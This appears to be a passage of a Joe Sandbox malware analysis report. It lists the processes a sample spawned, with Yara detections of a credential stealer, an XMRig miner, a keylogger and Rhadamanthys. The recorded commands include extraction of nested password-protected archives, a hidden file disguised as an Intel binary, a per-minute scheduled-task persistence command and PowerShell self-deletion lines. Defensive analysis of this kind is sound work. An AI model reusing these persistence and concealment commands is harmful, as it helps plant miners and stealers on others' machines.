Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:09:22
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe"
Imagebase:	0xe50000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.3381728843.00000000012A7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	05:09:31
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	05:09:35
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff6961b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	05:09:35
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	05:09:35
Start date:	18/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff707a30000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:09:35
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0xce0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:09:35
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0xce0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:09:36
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0xce0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:09:36
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0xce0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:09:37
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0xce0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:09:37
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0xce0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:09:37
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0xce0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:09:37
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0xce0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:09:37
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff73f640000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	05:09:37
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff7e8040000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:09:38
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff73f640000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:09:38
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff73f640000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:09:38
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:09:38
Start date:	18/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff6f8550000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:09:38
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	05:09:38
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	05:09:38
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	05:09:38
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:09:38
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff699180000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 67%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	05:09:39
Start date:	18/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff609140000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.3209344034.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.3209344034.000000000120C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.3210399876.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.3209344034.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.3210301237.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	05:09:39
Start date:	18/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff655060000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	05:09:40
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:09:40
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	05:09:40
Start date:	18/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.1.10.1
Imagebase:	0x7ff655060000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	05:09:48
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe"
Imagebase:	0xf80000
File size:	1'986'048 bytes
MD5 hash:	74C0FEC1D8D8E4C943BAED136DCF9E56
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000002A.00000003.3316994086.0000000005E30000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000002A.00000003.3314605880.0000000005700000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000002A.00000003.3318224508.0000000005930000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000002A.00000003.3317173955.0000000006050000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	05:09:51
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0x130000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000002B.00000003.3326988369.00000000055F0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000002B.00000003.3324377603.00000000053D0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000002B.00000002.3336661213.00000000034C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000002B.00000003.3318038166.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	05:09:51
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 948 -s 648
Imagebase:	0x1c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.7%
Total number of Nodes:	764
Total number of Limit Nodes:	13

Executed Functions

Function 00FE652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00FE652A,?,?,?,?,?,00FE7661), ref: 00FE6567

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: de434d7692f0a752ab3dc6fe02151bc2cfcc2042e9e8b6ca9bdd85be1d7adcee
Instruction ID: 67bec75724c296bacad797f4cbb2f9c43c3a16b7fe8fc9520a484941dfb89b3c
Opcode Fuzzy Hash: de434d7692f0a752ab3dc6fe02151bc2cfcc2042e9e8b6ca9bdd85be1d7adcee
Instruction Fuzzy Hash: E5E0863020038CAECE257F15DC5DE8E3B29EB217E1F041800FD0486121CB25ED52D540

Function 05090C6E Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2176387968.0000000005090000.00000040.00001000.00020000.00000000.sdmp, Offset: 05090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5090000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b5fbaf4e6b11a44e56594718493f6bb583b983eb816c8ba6e10a4a6c02029fb
Instruction ID: 610036e68dea1c09cd1b817097ba06ad676fe529c2cbd6eecfd379d25c90a086
Opcode Fuzzy Hash: 4b5fbaf4e6b11a44e56594718493f6bb583b983eb816c8ba6e10a4a6c02029fb
Instruction Fuzzy Hash: 511179EF20E524BE7959C1827B3CABE666FE5C2730731842BF807C510AD2944E5A31B1

Function 00FB5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000423, xrefs: 00FB60FA
00000419, xrefs: 00FB6098
00000422, xrefs: 00FB60C9
0000043f, xrefs: 00FB612B
Keyboard Layout\Preload, xrefs: 00FB6054

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
